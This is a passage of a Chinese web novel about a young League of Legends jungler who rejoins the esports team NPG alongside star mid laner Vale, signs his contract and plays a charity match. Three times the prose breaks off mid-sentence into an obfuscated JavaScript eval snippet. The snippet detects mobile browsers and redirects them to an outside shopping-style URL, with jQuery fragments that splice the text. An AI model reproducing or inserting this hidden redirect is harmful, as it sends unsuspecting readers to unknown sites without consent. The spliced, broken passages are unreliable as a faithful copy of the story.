谢予辞盯着屏幕里的豹女,刚刚他也是隔着一面玻璃同她的操纵者对视。青年一如初见,唯独染成浅金色的发丝让他的面庞少了分稚气。 谢予辞说:“陈监督,我想试试,再试一次。” Staff姐姐通知宋澈先回去等消息。 他没多问什么,沉默地离开了,如同几个小时前来时一样。 上次离开时,他茫然地站在新装修的华丽大楼外,拖着为数不多的行李,第一次失去了明确的目标。质疑过去这七百多天时间,自己都为了什么? 他不想回家,找了个网吧窝下,把自己的两个账号打上了韩服第一。登顶第二天,BG教练给他发来了私信。 而这一次,不知道等待他的又是怎样的前路。 Carpet:我回来了。 Quietus:欢迎回来,辛苦了[兔子摇沙锤.gif] Carpet:乖乖听哥的话,去了NPG,但还没有出结果 Quietus:任何事的结果都不会辜负pet的 Quietus:对了,你有见到英雄联盟的知名土特产吧,喜欢吗? Carpet:是说Vale吗,人人都喜欢他。 Quietus:那你呢? Carpet:哥一定要问这种问题? Quietus:嗯~ Carpet:我尊敬他和他的NPG。 Carpet:但最喜欢的英雄联盟玩家......不在那里。 4. 第 4 章 Carpet的直播间假条到期,依然空荡荡,蹲守的水友们心领神会。 【开门!开门!】 【有天理吗?谁能管管!说好试训完回来开播,你怎么直接开赛了?】 【之前是想让你扬名立万没错,可你没说你真能去NPG恰大合同啊!】 【拿七位数年薪,继承三冠奖杯,娶又强又漂亮的中单老婆,野王当如是!】 宋澈恍惚地坐在NPG大楼的会议室,直到NPG管理层递来合同,都没回过味来。 怎么回事,不是说有三轮试训吗,麻烦不要在严肃了那么久后忽然露出你们草台班子的一面啊。 得去跟伪装成弹幕水友的NPG高层咨询一下,母公司的股价是不是真的爆炸了。 背景音里经纪人正在跟NPG的管理人员针锋相对,讨论人口买卖相关事宜,听得宋澈这位高中肄业人士云里雾里。 但最麻烦的不是这个。 “Carpet选手,你脸色不太好,没关系吧?”身旁的中单小声关切地问,仅与他隔了半人的距离。 宋澈在把自己憋死前擅自呼吸了口气。 他暂时没有在谢予辞面前颜面扫地的打算。 “我没事,谢谢前辈。”宋澈惜字如金。 谢予辞接着盯:“可是你脸都红了。” 宋澈浑身有蚂蚁在爬,他努力挣扎道:“是不是屋里太热了?” “鉴定完毕,Carpet选手的人格类型是天气预报型。”谢予辞说。 宋澈想笑,但场合实在不合适,无奈地说:“Vale前辈,别再逗弄我了,您的经纪人先生都在瞪咱们了。” 宋澈今天一大早接到了NPG通知,让他下午带着经纪人来谈合同。 他这种刚出道的新人压根没有职业经济人能跟战队对接,当初去BG他签的是童工合同,那几个子哪有经纪公司看得上呢? 秉持着总不能把爸妈叫过来的心态,他本打算独自依靠网络咨询解决合同问题。踏入NPG会议室大门的那刻,却讶异地发现谢予辞竟然也在,还带来了两个陌生人。 Vale把自己的经纪人和法律顾问借给他了。 谢予辞缩了回去,宋澈感觉他的动作里似乎有几分不情不愿。 经纪人和战队方的人员各执一词。 以往只要谢予辞的合同没到期,NPG总有无限游龙拉扯所有人的空间。 战队用他的存在向经纪公司和选手们展示,NPG有能力打造下一位“Vale”。高昂的商业价值,天价代言费,极高的国民度和声誉唾手可得。 只需要在合同上签下名字,为了那座英雄联盟至高无上的荣誉,再次献出一年的时间、手腕的健康和不问代价的勇气,多么划算啊。 但谢予辞的经纪人不吃这套大饼,他娓娓道来地分析:“固定年薪加上代言费,是他该有的市价。但你们没有把他带队升级的成绩和目前的形式考虑进去。” 这段宋澈听懂了,他举手示意:“我的要求是能打首......” “Carpet选手你先闭嘴,不许插话。”经纪人一个眼刀投给只在意首发位置的宋澈。 “谁不知道NPG被一手提拔上来的打野狠狠摆了一道,临近转会窗关闭才确认不续约,现在除了Carpet,你们还能从哪找一个有比赛经验且适配NPG体系的打野?又要从青训摸奖吗。” 一听这摊子烂事被翻开来说,NPG管理层顿时气得眼冒金星。 双方又开始一顿叽里咕噜。 两位选手相视一眼,面面相觑,不再说悄悄话了。 正当宋澈以为中单的好奇心终于要告一段落,便听谢予辞忽然出声问:“你不打算再叫予辞哥了吗?” 宋澈冷不丁地定住了。 “Vale......前辈?” 他没有说谎,队伍大楼里的暖气实在开得太足,热得人只穿一件T恤衫都会流汗。 谢予辞假装没看到战队代表对他投来的眼色和宋澈的不自在,自顾自地说:“你总是叫前辈的话,我也只能叫你Carpet选手。‘用这种称呼是不想亲近我吗’,别让我陷入这样的猜想,好吗?” 宋澈近乎是忐忑了:“怎么会呢!” “那你为什么要装作一副不认识我的样子。是不喜欢这里,还是不想跟我打中野,NPG青训的Carpet前辈?”谢予辞问。 一下子,宋澈被熟悉的称呼不讲道理地拉回初见。 “你是这一期青训的新打野吗?嗯?那你是我在青训的前辈咯,Carpet‘前辈’要多多指教我。” 过去一年中他一度逃避不想面对,却又在Quietus的鼓励下重拾勇气,杂乱的声音再次充斥脑海。 “啊——抢到了!这是怎么做到的?难道说Carpet的前缀真要变成JUG了?” “每年来这里的人都觉得自己特别。然后呢。用自己那套Rank的‘我感觉’对待职业比赛,耗干热情,然后悄无声息地离开?谁记得他们来过,观众只记住了Vale的十七岁。” “你今年已经十八岁了吧?顺利的话或许下赛季就可以正式通过T杯出道了,我们一起,去让所有人记住你吧。” 毫不掩饰的审视与否定,满怀期待的快乐与憧憬,两者都这般真实,因此宋澈无言以对。 他猛地站起身,甩下一句“抱歉,失陪一下”就匆匆冲出了门。 会议室内的几人都被他这突如其来的动静吓得按下暂停键。 战队方:发生了什么?看好的打野怎么忽然跑路了? “诶?那你还回来吗?” 谢予辞也愣了,喃喃自语道,“他原本是这种性格吗,怎么跟采访视频和印象里的都不太一样。” 经纪人恨铁不成钢:“现在是说这个的时候吗?他不在我的谈好的合同谁来签啊!” “随便聊两句就害羞,害羞了二话不说逃离现场,当谁看不出来一样,这种心态能当职业选手吗。谢予辞,你给我推荐的是什么幼儿园小朋友?” 谢予辞自觉承担起队长的职责,正色道:“别这么说,但凡他不具备合格的素养,就没办法从次级联赛打出头。” “各位先继续,我去把他找回来。” 宋澈踏出门的那刻便迟疑了,考虑到现在立马转身回去会显得自己像个疯子,就硬着头皮继续往前走。 不知不觉间,他回到了自己最熟悉的青训选手训练的区域。玻璃隔窗后,十几个满脸不服气的高中生正在挤眉弄眼地埋头听训。 青训教练正是昨天给宋澈试训的临时教练,人到中年不得不给一帮智力堪忧的小屁孩当班主任:“NPG青训的补贴不给闲人,这里的淘汰率高于你们之前参与过的任何集训。听清楚!下周第一次训练赛会按照积分淘汰掉五成青训学员。如果连这一关都过不了,你们没必要在电子竞技上浪费时间。” 底下响起几声稀疏的“明白了”。 一看这反映,教练就知道有几个孩子已经注定留不住了,叹口气挥挥手打发他们赶紧去做复盘。 谢予辞不知何时走到了宋澈身侧,也看到了这一幕:“新官上任的教练先生,再这样操心下去头发都该被点着了。” “这话有点不礼貌了。” 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278588|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 予辞莞尔一笑。 宋澈余光看到他的笑容,踌躇了半晌轻声问:“予辞哥,你知道一年前的青训教练去哪了吗?” 次级联赛BG内部一直有件众所周知又三缄其口的秘密,他们的新任打野出身业内第一的NPG青训,还未出道便备受好评。明明是能写进履历中的加分项,可谁要敢在宋澈面前提一句,那未来三天你这条线就注定是孤儿路了。 三年前,当时的NPG尚且处于低谷期,他们的两冠班底不适应版本变化,选手操作也在逐年下滑,世界赛事连续数年颗粒无收。除中单位外,整只队伍暗暗酝酿着大换血。 宋澈甫一出现,NPG教练组几乎是迫及不待地安排Vale每周去青训营跟他打训练赛培养默契,只等他消化完职业赛场的运营艺术就抬上来亮相。Carpet肯定会坐稳首发,这事在NPG内部是心照不宣的秘密。 甚至NPG的两冠功勋打野退役时,部分极端队粉竟然打出了“没关系,我们还有Carpet”的贩剑发言,让他在进一队前就狠狠被骂了三轮。 然而一直等到Carpet十九岁,大家也没见NPG安排他LPL出道,而是提了个名不见经传的新青训,听说是Carpet的青训队替补。 这像话吗? 外界对此曾有颇多猜测,粉丝群体内部质疑的声音一直到NPG夺下第三冠也未消失。 粉丝们不明白,宋澈为什么要抛弃NPG为他铺就的坦荡前路,非得选择更窄的那条。 谢予辞也不明白。 他回忆道:“一年前?你是说卫珂教练吗?” 宋澈点点头,就听到中单说:“他因为青训成绩显著,MSI期间被陈铎监督提上一队教练组。” “那NPG要签我这事,他也赞成?” 谢予辞略带诧异地看向他的眼睛;“你的职业生涯,NPG的首发阵容,这两样东西怎么会轮得到他来发表意见?” 宋澈怔住。 之前从没有人和他说过,电竞选手的天赋和热情不可以由外人评头论足,尤其这个外人还是一向权威的教练。 谢予辞说:“我认为决心是最要紧的。为自己想要达成的目标,即使付出再多的努力,也不过是在证明人可以获得幸福。” 谢予辞说:“小澈你呢,这一年在外面的世界寻找到自己想要的东西了吗?” 宋澈情不自禁地用手背测试了一下脸颊的温度。 好烫。 “没有。”他说。 “离开之后才发觉,我真正想要的东西,无论如何都得在NPG拿到。” 谢予辞握住他的手腕说:“那就太好了,我们先回去吧。” 他悄悄指了指两人身侧,“总之,至少别在这里。” 宋澈顺着他手指的方向看去,打眼被玻璃上趴着的层层叠叠的人墙吓了一跳。 “什么?” 青训生们早早注意到了自家战队的王牌选手,一个个的恨不得凑到他们脚底下听八卦。教练先生被小朋友们堵在后面过不来,正拼命挥手试图控制局面。 青训生跟他们对上眼神,更兴奋了。 “Vale前辈!下周我的训练赛你会来看吗,我肯定是第一!” “不行!我不许你邀请Vale!明明我先来好吗,我从小就是儿糕梦了!” “欸,旁边那个人是谁你们认识吗?嘶——仔细一看长得有点东西啊。” “笨蛋,重点是长相吗?Vale前辈在牵着他的手啊!” 宋澈深呼吸。 他反客为主,拉住谢予辞的手。 “予辞哥,快跑!” 5. 第 5 章 “等......等等,你慢点。” 中单没点水上行走,移速跟不上,无助地被宋澈拽着跑。两人动静不小,沿途上工作人员们投来的目光越来越多。 是有点OOC,宋澈内心冷静地审视,今天干出来的事没一件符合他一向维持的高冷形象。 可他反而巴望着能跑得再快些,再久些才好。 两人一路回到会议室,宋澈气势汹汹地推开门。 “抱歉,久等了,我回来了。”在经纪人先生要杀人的目光中,打野迅速恢复扑克脸。 谢予辞从他身后探出头,眨了眨眼。 经纪人扶额,依靠被谢予辞折磨出来的深厚素养勉强压下火气,“没事,来得正好,我们谈的差不多了,Carpet选手你看看。” 宋澈接过最终版的合同,随意翻了两页,没说话。 谢予辞一针见血地指出问题:“看不懂,请直接给我们导演剪辑版。” 宋澈迅速点头。 经纪人快速为宋澈讲解要点。一年短约,年薪小几百万,直播和商单另算,不出现重大舆情的情况下确保首发。 宋澈在BG的工资没比小代陪玩费高多少,能在NPG拿到这种待遇已经远超乎他的预料了。 相比之下他更在意首发问题。 “请问这个‘舆情’是什么意思?”宋澈与不少选手合作过,却从来没听说过哪位选手的合同中有类似的条款。 战队方心虚地打哈哈,“啊,那个呀,就是别在赛后直播升堂里被判太多次有罪。” 未来五十年内没人能理解这句话。 宋澈不懂就问:“是指赛后复盘吗?” “额......这......” 经纪人先生善意地解围:“NPG核心粉丝群有传统,一旦队伍丑陋地输掉比赛,粉丝们就会直播开分锅大会。要是哪个选手背首锅的次数太多,会喜提粉丝赠送的横幅。横幅攒够一定数量后被战队斩杀,跟合成大西瓜似的。” “你进来的时候没看到吗?世界赛那会他们骂陈监督的易拉宝还摆在马路对面呢。” 宋澈谨慎地回答:“我以为‘心理学大师’是褒义词。” 谢予辞安慰他,“别紧张,粉丝们都很可爱,一直以来都在真诚地为我们应援。以你的水准不会有问题的。” 经纪人偷偷摸摸翻了个白眼。 战队方不管那么多,赶紧把笔塞到宋澈手上,谢予辞坐在旁边撑着下巴看向他。 宋澈签下名字。 NPG Carpet 兜兜转转一年多,他终于回到了这里。 “终于签完了!太好了!”战队方欣喜地感慨,一边一个抓起宋澈和谢予辞的手捧在胸前。 “那么现在马上辛苦二位去跑商务吧!” “好哦。” 宋澈瞳孔地震,“什、什么?” 为什么直接快进到跑商务啊,英雄联盟不是这样的。他现在应该赶紧回去收拾行李,向Quietus汇报好消息,然后搬来NPG宿舍。中单陪同他参观基地,然后拍摄入队视频Wee Carpet。最后在万丈瞩目中官宣,中单和其他队员转发他的入队微博,然后开始踏踏实实跟队伍磨合,争取触发春季赛FMVP特殊CG。 怎么能直接跑商务啊,电子竞技不是这样的,他不接受。 “感觉你在想失礼的事情呢。”谢予辞凑近,“我们走吧,这场拍摄是上个月就定好的,团队早早就去做准备了。官宣微博待会就会发,入队视频只能等晚上拍了。” “这个活动很简单,打一把公益比赛而已,小澈不用紧张哦。” 完全被看透了。 宋澈应“好”,顺从地跟在他身后,走出大楼上了商务车,套上工作人员递来的队服外套。 外套背面的ID已经印好,尺码对他而言也很合适。 车发动好一会,宋澈才后知后觉地察觉不对劲。 “予辞哥,如果今天我没来签合同,NPG打算怎么办,让你和随便哪位前辈去拍吗?” 谢予辞把目光从手机屏幕上收回来,笑着说,“嗯?谁知道呢~” “比起这个,不如看看微博。”谢予辞把自己的手机举到他脸前。 宋澈定睛。 电竞热搜: 【TOP3:NPG 打野】 【@NPG电子竞技俱乐部 Official Announcement: NPG JUNGLE NPG电竞俱乐部与‘Carpet’宋澈选手正式签约。@Carpet 野区的阴影蕴藏着无限可能。每一次精准的Gank,每一次对资源的掌控,都在为胜利铺路。为了回应粉丝们的期待,请与我们一同携手向前。 #NPG WIN 】 微博刚发出十几分钟,转评已经上千,这几天打野位人选了无音讯,粉丝们等得焦虑症发作。 【拿完三冠我已了却执念心如止水,挺好,买谁都好,只要能集齐五个人开游戏就行,今年说到做到一定不骂你们。不过话又说回来,奶泡糕你小子太区了也不行哦。】 【谁知道这个Carpet是什么来头?我只查到他是今年BG有名的天才打野,但没看过他比赛。】 【他是NPG青训出身,今年夺冠的Arrival当初都得吃他剩饭,就是不知道为什么跑去次级联赛了。刚刚搜了搜赛评,应该是擅长野核和Gank版本。】 【妈呀,野核,这对吗?十年了,NPG每一任打野的野核都属于对手不屑ban,拿了必炸。】 【主要怪那帮打野们跟抽风似的,非要让Vale玩工具人中单,你能C吗就安排上了。】 【停!不是说不骂了吗!怎么还贷款输比赛上了,赢了就好好享受上嘴脸,一直到明年开赛我们都是世界第一。】 “你在看评论吗?”谢予辞见他半天不动,歪过头问。 宋澈惊觉自己在借着对方的姿势,连忙扶住他的胳膊和肩膀,“予辞哥,你快放手,休赛期手臂不要用力。” “今年手臂状态还好。”谢予辞顺势把自己的手机塞到宋澈手里,“评论里如果有粉丝过于担忧,你不用担心。他们在还不了解你时,就太在意你了,开赛后用你的游戏向他们尽情地展示自己吧。” 宋澈嗯了一声,安静片刻后补了句。 “予辞哥,跟当初比真是一点都没变。” “是吗?”谢予辞若有所思。 车停在市中心的摄影棚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278589|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这是宋澈第一次参加这种级别的拍摄。BG以前在次级联赛,别说商务活动,就连定妆照都是在基地会议室拍,用一块绿幕布当背景便草草了事。 他亦步亦趋地跟着谢予辞踏入摄影棚,刺眼的聚光灯将整个空间照得如同白昼,地板上缠绕着蛛网般复杂的电线。 “您好,NPG的打野选手是吗?”一位佩戴着工作证的女士匆匆走来,“这边请,我们先去化妆。” “谢谢。”宋澈点头,“予辞哥不一起吗?” 谢予辞用手背轻轻拍了拍他的手。 “Vale选手要去导演那边跟其余嘉宾对接,抱歉,两位得暂时分开了。” 宋澈跟谢予辞道了别,回答道,“没关系。” 坐在化妆镜前,灯光炽热地烤在他的脸上。化妆师用冰凉的粉扑和刷子在他的脸上涂抹,那种异样的触感让他有些陌生,控制不住地眨眼。 幸好今天起床洗脸了,宋澈心里庆幸。 上场前选手们需要化妆是赛区规定,这或许也是电竞选手的必修课之一,谁叫部分网瘾少年长得真有点失去人样,至少别恶心到特意来看比赛的观众吧。 “Carpet对吧?之前是不是没怎么化过妆。”化妆师小姐似乎看出了他的拘谨,笑着搭话。 “嗯,次级联赛根本没人管这事。” “那现在开始就得去适应了,毕竟你是Vale的搭档,以后肯定会成为LPL的常客。” 简单的出镜妆很快完成。化妆师姐姐上下打量自己的作品:“给Carpet选手化妆没什么成就感呢,你要不要考虑下退役后勇闯颜值赛道试试?” “暂时没有退役的打算。” “好啦,不开玩笑了,请去A棚等候吧。” 宋澈站起身再次道谢,活动了一下有些僵硬的脖子,走向那个最明亮的区域。 他的目光却不由自主地越过设备和行色匆匆的工作人员,飘向了更中心的位置。那里围着最多的人。灯光、摄像机、导演……所有的一切都环绕着那个区域,如同行星拱卫着恒星。 透过人群短暂的空隙,宋澈看到了Vale。 他穿着白底金边的NPG队服,侧对着宋澈,正微微低头听着编导讲要求。摄影棚的光从他的头顶倾泻而下,将棕色的发丝勾勒出毛茸茸的边缘。 他还没有化妆,神态在强光下带着与本人气质截然不同的明媚,强烈的存在感压过了周遭众人。 Vale。谢予辞。 收起了嘴角的弧度和逗弄他时亮晶晶的眼神,这会的谢予辞变回了那位世界第一中单。 忽然,Vale看向他的方向。 谢予辞挥挥手,含着笑示意他过去。 宋澈走到他面前。 “你的领口怎么拉链都没系。”谢予辞很自然地伸手帮他理一下,“里面的T恤还没做好,千万别被发现了。” 咚、咚。 宋澈脱口而出,“予辞哥,今天我们同队吗?” 谢予辞回答:“不,咱们要各带四名队友,分两队打一局BO1。” 嘈杂不休的环境中,宋澈的声音在两人耳中放大。 “那太好了,我已经有点忍耐不住了。” “予辞哥,感受一下现在的我吧。” 6. 第 6 章 工作人员们交代完事情后离开了,没听到宋澈惊世骇俗的重力系台词,谢予辞捂着嘴噗嗤笑了出来。 “小澈你可能要失望了,这次比赛和你想象的不太一样。” “还有,你说话好像小说发言呀。” 宋澈反应过来,赶紧找补,“予辞哥,我不是那个意思!我就是好久都没有在你对面打过了。” 谢予辞若有所思,“这么一想,的确,我排位都跟你排不到一起。” “你的分段太高,我还是个大师呢。” 这两年菠菜和赌狗越来越猖獗,赛区官方充当装死的老公对此一言不发。Vale和其他几位赛区明星选手的直播是开盘重灾区,极端时甚至会出现九位玩家共赴奥斯卡之夜的盛况。 这种情况下排位的难度可想而知,后来NPG干脆不让他浪费时间,专门找青训和二队帮他打小号供他RANK,超级号用来直播做做效果就得了。 宋澈一开始不知道这事,他那会专心在次级联赛炸鱼。还是他青训时的好友,如今NPG的首发辅助某次闲聊时告诉他的。 宋澈认真地说,“以后直播我跟予辞哥双排,不论有多少演员,我和予辞哥的中野都可以无条件取胜。” “跟我双排时间能安排开吗?” 宋澈理所当然地说,“我随时都有时间。” “可你的辅助怎么办?跟我打中野岂不是要放弃你的ADC梦想了?”谢予辞问。 辅助? 他是在说Quietus。 宋澈的次元壁突兀地被捅破,差点没反应过来,“啊,予辞哥,怎么连你也知道了?” 谢予辞的回答卡顿了几秒。 “是扶砚告诉我的,他上一队后经常聊起你。” 李扶砚,ID Space,著名看热闹不嫌事大的八卦之神,宋澈青训时期的同期ADC,后来为了上一队换到了辅助位。 宋澈对他的评价是漏勺一个。 “这不一样。” “哪里不一样。中野是工作,下路是生活?” 宋澈红了脸,“不是的!予辞哥,别再说怪话了。” “哼哼,好了,不开玩笑了,我们走吧。”逗猫成功,谢予辞眯起眼睛。 趁着谢予辞收拾的工夫,宋澈被带去调试设备。他连自己的外设都没带,顾虑地提出能不能叫个闪送跑腿。 旁边工作人员大气地挥手说,“没事Carpet选手,别麻烦了,谁送的更快还不一定。” 宋澈:? NPG接的商务带了些公益属性,企划方案是借助Vale的影响力宣传流浪动物领养救助。队伍提前在粉丝群里选出了八位有救助经历的粉丝来跟他们打5V5,视频的所有收益届时全部捐出。 对于被抽中的粉丝来说完全是免费FM,唯一的顾虑或许是云批实在不想在偶像面前丢人现眼。 宋澈身边坐着一位钻石中单妹妹,她拍了拍旁边陷入焦虑的黑铁AD,宽慰她道,“没事的宝宝,咱俩的水平在Vale眼里压根没区别。再说了,我们是Vale的对手,多送点不是好事吗,有压力也是对面有。” “对吧,C、Car...额,宋澈选手?” 宋澈没想到这么简单的词汇也能考到九年义务教育出身的高材生。 “嗯,对面最高段位是翡翠下路组,我们阵容更强。” 钻石妹妹问,“那种事情无所谓。我没看过你的比赛,趁正式开始之前能不能先问你几个关于打法的问题。” “想了解什么?”宋澈自无不可。 钻石妹妹看他有闲聊的意思,立马开始输出,“你擅长什么英雄?喜欢抓哪一路?从第几个蓝BUFF开始会让给中路?在青训你是不是按着Arrival那逼人打?当时为什么要走呀?听说试训是Vale钦点的你,你俩是不是特别默契嘿嘿?” 这段话信息密度太大,像是生怕不一口气问出来他会逃跑,说到最后她还发出了一声很诡异的动静。 一时间,场上不分敌我,八双耳朵同时竖起。 宋澈说,“......什么叫予辞哥选的我,这句话你从哪听来的?” 钻石妹妹调出个直播切片给他看,“喏,你看,Space昨天晚上直播漏了聊天记录。” 宋澈接过一看,视频里客户端右下角有李扶砚跟队友的聊天窗口。 —— NPG Space:冬均,打完这把先别练韦鲁斯了。下午被临时叫过去帮忙,你都没吃饭吧,走,我带你去吃宵夜 NPG Rainstorm:......不要,扶砚哥你自己去吃吧 NPG Space:还在气梦魇的事? NPG Rainstorm:没有 NPG Space:那就是有。他好歹也是予辞哥看上的打野,打个无位移双C节奏好很正常。再说了,我们马上就要成队友了。 —— 钻石妹妹补充,“昨晚我们都好奇这个试训薄纱的林冬均的打野是谁,今天你就官宣了。” 宋澈没吭声,气氛陷入诡异。 钻石妹妹狐疑地还想再问,转头看见了往这边走的谢予辞,立马懒得管宋澈了,疯狂把周围还在等着听八卦的同担们拍醒。 谢予辞走近,“久等了,嗯?这是在做什么。” “Vale选手您好,今天辛苦了。”几位粉丝见面就鞠躬。 谢予辞吓了一跳,赶紧还礼回去。徒留宋澈站在他们之间手足无措,只好跟着一起弯腰。 工作人员忙出面制止这场十人的夫妻对拜继续进行下去。 “各位,我们快开始吧,让Vale选手录制完早点回去休息。” 宋澈和谢予辞分别到了两边的位置坐下。 BO1盲选局,TEAM Carpet VS TEAM Vale。 宋澈带上耳机,语音里粉丝们叽叽喳喳兴奋地讨论选什么英雄,他本来还想提点建议,但越听她们的聊天内容越不对劲。 “好不容易分到中路,我肯定选狐狸!” 宋澈没意见,狐狸是Vale第一个冠军皮肤,粉丝想选无可厚非。 上单也有自己的想法:“那我来上单瑞兹吧。” 两人快速把Vale的两个皮肤瓜分了。 “那我玩什么呀?Vale有代表性的英雄都不太适合辅助出。”辅助弱气地问。 钻石妹妹爽快包办,“别这么说,Vale自己都说过英雄联盟除了中单外辅助最有意思。你随便选,送了就是致敬Vale高血压操作。” AD没吭声,自觉地锁定单排ADC的保命符、最伟大的下单英雄伊泽瑞尔。 宋澈看她安排得头头是道,也问了句,“那打野呢?” 选什么才能体现自己Vale粉籍。 钻石妹妹问,“你还需要我指挥吗?要不玩蔚,选NPG皮肤。经典中野组合,也是NPG原配中野的皮肤。” 宋澈能打狐狸蔚,但不愿意牵扯到除Vale之外的选手,拒绝了,“算了,我还是来把猪妹吧。” 进了游戏,宋澈发现自己这边的阵容还是保守了。瑞兹、猪妹、狐狸、EZ和发条虽然抽象,但跟盖伦、剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278590|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣、提莫、薇恩、寒冰比起来阳间太多。 NPG Vale:我家孩子们的试用账号上没有买英雄[哭哭.jpg] NPG Carpet:这样已经足够强了XD 十人在中路一字排开互相亮表情,一派欣欣向荣,直到提莫偷A猪妹吹响大乱斗号角。 场面一片混乱,双方菜得半斤八两,宋澈方三中单由于手太短惜败于对面三AD。提莫万军丛中豪取双杀,多亏有猪妹及时遏制住中单欺负粉丝的邪恶行径。 复活后大家重新上线,钻石妹妹恭恭敬敬地目送提莫吃掉所有兵线消失在野区。 她及时报了MISS,但焦头烂额的下路双人组完全顾不上这个,黑铁是打不了Vale没错,但两个翡翠也是一座大山啊。翻不了,压根翻不了。 提莫从河道钻出来,脏杀掉了EZ发条,对面的选手席响起了欢快的笑声。 好消息是对面的剑圣明显还处于需要看技能说明的阶段,在野区里被红BUFF斩于马下,他索性也不刷野了,伪装农批跑去蹭三路线吃。 其他几人见他如此阴险地偷跑,纷纷坐不住了。几波兵线的时间,中路河道草里草外竟围了七八个人,个个不甘示弱,露头就是一通乱战。 除了坚持刷野的猪妹外,只剩薇恩依旧倔强地留在下路发育,队友被抓边笑边刷,践行英雄刻板印象。 薇恩:别急,我在赶。 开玩笑的,根本没来,看都不会看一眼。 她的埋头苦刷收获惊人成效。 游戏进行到将近四十分钟,猪妹沦为超级兵,只能勉强做到集结队友带走露头的提莫。两位堂堂职业选手谁都没Carry成功,全靠TP点火薇恩天神下凡,戴上自己的红色护目镜收割全场。 NPG Vale:谢谢薇恩哥带我坐bus 薇恩:呜呜呜呜我苦练ADC就是为了这一天,等我啊Vale选手,终有一天在王者局排到你的辅助时我会带你赢的! 就这么轻易的把自己召唤师生涯最大幻想宣之于口了呢。 游戏结束,双方握手拥抱。工作人员把谢予辞叫走了,他还有个单独的后采要录。 宋澈拒绝战队先派车把他送回去的提议,自己找了个地方等。 谢予辞出来时看到的就是宋澈一个人安静地等在门口,他干坐着,没玩手机,不知在想什么。 谢予辞叫他,“小澈,今天辛苦了,我们回去吧。” 边说边要往外走。 “予辞哥,麻烦你告诉我一件事。”宋澈没有跟上去。 谢予辞回过头,疑惑地问:“什么” “NPG的试训就是有三轮,那天不是赛训组给我上压力,而是你主动提出要上一队陪我打。” 中单报以沉默。 宋澈一字一顿地说:“予辞哥,我能加入NPG,真的是因为队伍看中了我的实力吗?” 谢予辞说:“不是。” 从早上接到NPG电话起心里悬着的石头终于尘埃落地。 “你是NPG目前唯一的选择,我充其量只是加快了其中的进程,有何不可吗?”谢予辞反问,他与宋澈四目相对,宋澈能看到他眼里货真价实的困惑。 “没什么。”宋澈说。 “看中我的不论是NPG还是予辞哥都不重要,我会向所有人证明,Vale的选择没有错。我会为NPG带来前所未有的荣誉。” 谢予辞说:“难度不小,我拭目以待。” NPG没达成的记录,迄今为止只剩两个了。 ——三连冠,或是,黄金之路。 7. 第 7 章 宋澈拎包入住了宿舍,剩下的东西由财大气粗的NPG派车去帮他搬。 几天来,他在NPG的最大感受还是和青训时期一样。 这里的生活节奏太快了,谁想停下来喘气,就会被毫不留情地丢下。 首当其冲的就是职业选手的根基,训练量。 NPG的训练几乎是LPL里最重的一档,几乎不给选手自己安排的自主训练时间。 十二点起床吃早饭;十三点开始例会以及队内训练赛;十六点起是休息和吃午饭的时间;十七点到二十二点连续打三场以上正式训练赛和数场队内训练赛,然后可以获得休息的喘息; 二十三点开始是Rank和直播的时间;凌晨两点到三点开总结会,一天的训练生活便到此结束了。 一队的选手们每天通常需要参与十小时以上的集中训练,两到三小时下班后的自主练习,且每年要重复这种日程近三百次,以使自己的竞技力维持在较高水平。 许多选手嘴上说着痛苦,但如果战队真要放假,不乐意的怕还是他们自己。 在电子竞技行业中,休息往往相伴于失败左右——只有被淘汰的队伍才能提早休假。 而这又带来了一种恶性循环,冠军队伍的选手被压得无法喘息,中下游队伍则因为训练量少更难追赶上第一梯队。 宋澈夜里才安顿完,队伍第二天就把所有选手叫回来,和赛训组开小会宣布下赛季阵容。 负责来接他的是NPG的冠军辅助,Space李扶砚。 李扶砚一向自来熟,远远看到他便发挥社交恐怖分子的功力迎了上去。 “宋澈!快点快点!就等你了!” 宋澈被他推着进了大楼。 宋澈跟李扶砚在青训营时关系不错,两人一个打野一个AD不撞位置,水平在同期中拔尖,经常有合作的机会,认识不久就成了好友。 宋澈出走的前一年,NPG一队的辅助熬不住巨大的舆论压力决定转会,一个选择被摆在李扶砚面前。 要么转辅助去一队首发,要么继续坚持打AD,继续等待那个不知何时会到来的机会。 李扶砚选了前者。 这样算来两人已经两年没在比赛中交手过,此刻面对面宋澈不知道该说些什么,好在李扶砚丝毫不在意打野的冷淡。 他轻快地招呼道,“你终于回来了,我就知道咱俩早晚有一天还能在NPG做队友。待会就让你见识见识我新练的指挥。” “我没想到。” 李扶砚疑惑地嗯了声,“什么?” 宋澈平静说道,“我没想到,我还能有回到NPG的一天。” NPG素有不要弃将的潜规则。 